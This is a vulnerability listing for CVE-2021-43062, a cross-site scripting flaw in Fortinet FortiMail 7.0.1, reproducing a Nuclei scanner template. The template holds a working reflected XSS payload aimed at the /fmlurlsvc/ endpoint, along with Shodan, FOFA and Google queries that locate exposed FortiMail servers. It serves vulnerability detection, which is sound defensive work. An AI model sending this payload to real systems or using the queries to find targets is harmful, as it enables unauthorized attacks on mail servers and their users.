CVE-2021-43062: Fortinet FortiMail 7.0.1 - Cross-Site Scripting

2025-08-01 Fortinet FortiMail 7.0.1 PoC Public

Description

A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.

PoC

id: CVE-2021-43062

info:
  name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
  author: ajaysenr
  severity: medium
  description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43062
    - https://www.fortiguard.com/psirt/FG-IR-21-185
    - https://www.exploit-db.com/exploits/50759
    - https://fortiguard.com/advisory/FG-IR-21-185
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43062
    cwe-id: CWE-79
    epss-score: 0.12936
    epss-percentile: 0.96108
    cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortimail
    shodan-query: http.title:"fortimail"
    fofa-query:
      - title="fortimail"
      - fortimail && port=443
    google-query: intitle:"fortimail"
  tags: cve,cve2021,fortimail,xss,fortinet,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<Svg/onload=alert(document.domain)>"
          - "FortiMail Click Protection"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220407b1998cd4216a96189eb75a04e05738118feeb1eeb6eaac669f18f01783050022100af866f9f811eedd1d7b306ecb0769b4d25f2958cc5edc209e95c7ec80f7e9131:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43062.yaml

References

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